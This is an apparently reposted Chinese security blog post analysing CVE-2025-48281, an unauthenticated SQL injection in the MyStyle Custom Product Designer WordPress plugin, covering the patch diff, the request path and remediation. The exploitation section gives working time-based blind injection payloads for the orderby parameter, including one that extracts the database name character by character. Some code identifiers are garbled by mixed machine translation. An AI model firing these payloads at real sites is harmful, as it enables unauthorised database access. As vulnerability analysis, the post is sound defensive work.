CVE-2025-48281SQL注入

admin 2026-02-08 01:09:14 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文剖析WordPress插件MyStyleCustomProductDesigner的CVE-2025-48281未认证SQL注入漏洞。攻击者可利用/designs/路由中orderby参数过滤不严的缺陷,构造恶意语句进行盲注。官方补丁采用白名单机制修复此问题。建议开发者严格验证用户输入,使用$wpdb->prepare()预处理语句,并及时更新插件版本以确安全。 综合评分: 92 文章分类: 漏洞分析,漏洞预警,WEB安全,漏洞POC,代码审计


cover_image

CVE-2025-48281 SQL注入

原创

匆匆过客 匆匆过客

天启攻防实验室

2026年2月6日 17:17 广东

更多实战在星球:

该漏洞存在于 MyStyle Custom Product Designer WordPress 插件 3.21.2 之前的版本中。这可能导致攻击者直接与您的数据库交互,包括但不限于数据窃取。

·CVE 编号: CVE-2025-48281

·产品: WordPress MyStyle Custom Product Designer 插件

·漏洞类型: SQL注入

·受影响版本: <= 3.21.1

·CVSS 严重性: 高 (9.3)

·所需权限: 未认证

环境要求

·本地 WordPress 与调试环境: Local WordPress and 调试.

·MyStyle Custom Product Designer: v3.21.1 (存在漏洞) 和 v3.21.2 (已修复)

·差异对比工具: meld 或任何可以比较两个版本差异的工具

·已激活的 WooCommerce 插件: 在安装 MyStyle 插件之前,WooCommerce 必须处于激活状态,因为 MyStyle 插件使用了 WooCommerce 的一些函数。

分析

根本原因在于应用程序将来自 GET 请求的数据直接注入到 SQL 查询中,而没有进行适当的验证/控制。

补丁差异分析

使用任何差异对比工具来比较存在漏洞和已修复的版本。 在文件 includes/entities/类-mystyle-designmanager.php 中存在明显的差异。

publicstatic 函数 get_designs(     $per_page=250,     $page_number=1,     WP_User $user=null ) {     global$wpdb;

    // Add 安全 WHERE clause.     $where=self::get_security_where_clause( ‘WHERE’, $user );

    if ( !empty( $_GET[‘orderby’] ) ) {         $order  =’ ORDER BY ‘. sanitize_text_field( wp_unslash( $_GET[‘orderby’] ) );         $order.=!empty( $_GET[‘order’] ) ?’ ‘. sanitize_text_field( wp_unslash( $_GET[‘order’] ) ) :’ ASC’;     } else {         $order=’ ORDER BY ms_design_id DESC’;     }

    $results=$wpdb->get_results(         $wpdb->prepare(             ‘SELECT * ‘             .”FROM {$wpdb->prefix}mystyle_designs ”             .$where             .$order             .’ LIMIT %d             OFFSET %d’,             数组(                 $per_page,                 ( $page_number-1 ) *$per_page,             )         ),         ‘对象’     );     // other logic }

Data from $_GET[‘orderby’] is injected directly into the SQL 查询 without proper 验证. Using only sanitize_text_field() 和 wp_unslash() only removes or escapes characters and does not guarantee safety. Therefore, SQLi is possible.

publicstatic 函数 get_designs(     $per_page=250,     $page_number=1,     WP_User $user=null ) {     global$wpdb;

    // Add 安全 WHERE clause.     $where=self::get_security_where_clause( ‘WHERE’, $user );

       if ( !empty( $_GET[‘orderby’] ) ) {         $orderby= sanitize_text_field( wp_unslash( $_GET[‘orderby’] ) );         $order   =!empty( $_GET[‘order’] ) ? sanitize_text_field( wp_unslash( $_GET[‘order’] ) ) :’ASC’;

        // Validate order direction to prevent SQL注入.         $allowed_orderby= 数组(             ‘ms_design_id’,             ‘ms_title’,             ‘ms_access’,             ‘ms_email’,             ‘ms_date_created’,             ‘ms_date_modified’,         );         $orderby=in_array( strtolower( $orderby ), $allowed_orderby, true ) ?$orderby:’ms_design_id’;

        $order=in_array( strtoupper( $order ), 数组( ‘ASC’, ‘DESC’ ), true ) ?$order:’ASC’;

        $order=’ ORDER BY ‘.$orderby.’ ‘.$order;     } else {         $order=’ ORDER BY ms_design_id DESC’;     }

    $results=$wpdb->get_results(         $wpdb->prepare(             ‘SELECT * ‘             .”FROM {$wpdb->prefix}mystyle_designs ”             .$where             .$order             .’ LIMIT %d             OFFSET %d’,             数组(                 $per_page,                 ( $page_number-1 ) *$per_page,             )         ),         ‘对象’     );     // other logic }

The patch implements a whitelist ($allowed_orderby) that explicitly defines allowable columns for ordering. If the orderby 值不在允许列表中,则会被替换为默认值 ‘ms_design_id’ — preventing injection of malicious payloads.

How it works

The 漏洞 is in the get_designs 函数 of the MyStyle_DesignManager 类 (文件 includes/entities/类-mystyle-designmanager.php)。要找到它的调用位置,可以搜索 get_designs within the 插件 folder.

👉 get_designs is called from get_items, init_index_request 和一些测试函数(不相关)。

由于这是一个未认证漏洞,我们必须识别哪些函数可以在没有认证的情况下被调用。

get_items() 函数

get_items is in the MyStyle_Wp_Rest_Api_Design_Controller 类 (file includes/wprestapi/类-mystyle-wp-rest-API-design-controller.php).

The code before calling get_designs 不处理认证,因此我们必须检查 REST 路由使用的权限回调函数。get_items 是使用 register_rest_route() in WordPress.

public 函数 register_routes() {     $version   =’2′;     $vendor    =’wc-mystyle’;     $namespace=$vendor.’/v’.$version;     $base      =’designs’;     register_rest_route(         $namespace, ‘/’.$base, 数组(             数组(                 ‘methods’             => WP_REST_Server::READABLE, // GET                 ‘回调函数’            => 数组( $this, ‘get_items’ ),                 ‘permission_callback’ => 数组( $this, ‘get_items_permissions_check’ ),                 ‘args’                => 数组(),             )         )     )     // other logic }

However, before the 回调函数 is invoked, the get_items_permissions_check 函数 runs — we need to know whether an anonymous user can call this API. Search for get_items_permissions_check.

👉 get_items_permissions_check 调用了 wc_rest_check_manager_permissions to verify permissions with $对象 = ‘settings’. Because wc_rest_check_manager_permissions is defined in the WooCommerce 插件 (not in this 插件), we need to inspect its behavior.

·wc_rest_check_manager_permissions is defined in the WooCommerce 插件.

·The settings mapping leads to manage_woocommerce。

·它调用 current_user_can( ‘manage_woocommerce’ ) to check user capability => only 管理员 (or users with manage_woocommerce capability).

👉 Therefore we cannot 漏洞利用 via get_items => we should try to 漏洞利用 via init_index_request.

init_index_request() 函数

init_index_request is in the MyStyle_Design_Profile_Page 类 (file includes/pages/类-mystyle-design-profile-page.php).

The code prior to calling get_designs doesn’t involve 认证, so we move on. init_index_request is invoked by the init 方法。

public 函数 init() {     // Check if the current page is /designs     if ( !self::is_current_post() ) {         return;     }

    // other logic     $design_id=self::get_design_id_from_url();

    // Only runs when the following POST variables are present => not relevant     if( isset( $_POST[‘delete_design_nonce’] ) && wp_verify_nonce( sanitize_key( $_POST[‘delete_design_nonce’] ), ‘mystyle_delete_design_nonce’ ) ) {

        $design= MyStyle_DesignManager::get( $design_id, $user, $会话 ) ;         if ( $design ) {             // Check if the user is the owner of the design or an 管理员.             if ( current_user_can( ‘管理员’ ) || MyStyle_DesignManager::is_user_design_owner( $this->user->ID, $design_id ) ) {                 // restrict the design access to 2 (deleted).                 $design->set_access( 2 );                 MyStyle_DesignManager::persist( $design );                 $this->delete_design_success_message =’Design has been successfully deleted.’;             }         }     }

    if ( false===$design_id||preg_match( ‘/page/’, $design_id ) ) {         $design_profile_page->init_index_request();     } else {         $design_profile_page->init_design_request( $design_id );     } }

对于 init_index_request to be called, the if condition must be true. We need to know what $design_id is — it’s determined by get_design_id_from_url which is called via self::get_design_id_from_url.

publicstatic 函数 get_design_id_from_url() {     // Try the 查询 vars ( ex: &design_id=10 ).     $design_id= get_query_var( ‘design_id’ );     if ( preg_match( ‘/page/’, $design_id ) ) {         $design_id=false;     } elseif ( empty( $design_id ) ) {         // ———- try at /designs/10. ——–         // phpcs:ignore         $path=$_SERVER[‘REQUEST_URI’];

        // Get the design profile page’s WP_Post slug.         /* @var $post \WP_Post phpcs:ignore */         $post= get_post( self::get_id() );         $slug=$post->post_name;

        $pattern=’/^.*\/’.$slug.’\/([\d]+)/’;         if ( preg_match( $pattern, $path, $matches ) ) {             $design_id=$matches[1];         } else {             $design_id=false;         }         // ————————————-     }

    return$design_id; }

👉 This 函数 reads design_id from the URL, so if you do not include it in the URL when sending a 请求 => the if condition becomes true => init_index_request 被调用。

回到 init, it is called from this 类’s constructor (__construct).

public 函数 __construct() {     // other logic     add_action( ‘init’, 数组( &$this, ‘rewrite_rules’ ) );     add_action( ‘template_redirect’, 数组( &$this, ‘init’ ) ); }

init is registered as a 回调函数 on the template_redirect 钩子 —— WordPress 中的一个动作钩子,在模板实际加载并发送到浏览器之前运行。

在 template_redirect 钩子 in the constructor, the init 钩子 is also registered with the 回调函数 rewrite_rules:

public 函数 rewrite_rules() {     // Flush rewrite rules for newly created rewrites.     flush_rewrite_rules();

    add_rewrite_rule(         ‘designs/([a-zA-Z0-9_-].+)?$’, // designs/{slug}         ‘index.php?pagename=designs&design_id=$matches[1]’,         ‘top’     ); }

This adds the route /designs/{id} to load the designs 页面并传递 design_id。

👉 因此,当访问 /designs/:

·The rewrite_rules 回调函数 runs, WordPress loads /index.php?pagename=designs&design_id=.

·Since design_id has no value, get_design_id_from_url returns false => the condition false === $design_id becomes true so init_index_request 被调用。

·init_index_request calls get_designs.

·get_designs directly reads orderby 参数并直接将其插入到 SQL 查询中。

漏洞利用

检测 SQL 注入

发送包含 SQL 注入有效载荷的 GET 请求。

GET /designs/?orderby=(SELECT+SLEEP(5)) HTTP/1.1 Host: localhost … Cookie: cookie_here

生成的 SQL 语句变为:

SELECT*FROM wp_mystyle_designs  WHERE ms_access =0  ORDERBY (SELECT SLEEP(5)) ASCLIMIT25                 OFFSET 0

👉 根据响应时间判断 => 有效载荷生效。

在这种情况下,不要在 SLEEP 后面附加注释。因为开发人员有一个换行符,将 OFFSET 移到了下一行;如果你将其注释掉,SQL 解析器可能会返回错误。

该链将被分割成两行不同的查询,从而导致错误:

SELECT*FROM wp_mystyle_designs  WHERE ms_access =0  ORDERBY (SELECT SLEEP(5)) — ASC LIMIT 25 OFFSET 0

获取数据库名称的第一个字母

转储数据的前提是能够提取数据库名称的单个字符 —— 如果你能获取一个字符,通常就能转储其余部分。

发送带有 SQL 注入有效载荷的请求:

GET /designs/?orderby=IF(SUBSTRING(SCHEMA(),1,1)=0x77,SLEEP(5),1) HTTP/1.1 Host: localhost … Cookie: cookie_here

这使用了 SUBSTRING() to get the first character of the 数据库 name, and IF() returns SLEEP(5) if that character equals 0x77 (‘w’).

Hex encoding w as 0x77 is used because orderby 参数可能被 WordPress 的魔术引号转义。

👉 根据响应时间判断 => 第一个字符是 w。

结论

WordPress MyStyle Custom Product Designer 插件在 3.21.2 版本之前存在的 CVE-2025-48281 漏洞,源于将用户控制的输入未经充分验证直接插入到 SQL 中,导致了 SQL 注入。

官方补丁实现了一个白名单机制,确保输入得到验证,从而更加安全。

关键要点:

·严格验证用户输入。

·在 WordPress 中操作数据库时,始终使用 $wpdb->prepare() 以避免 SQL 注入。

·定期更新插件并进行安全检查,以避免成为攻击目标。

加入技术交流群:

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:天启攻防实验室 匆匆过客 匆匆过客《CVE-2025-48281 SQL注入》

评论:0   参与:  0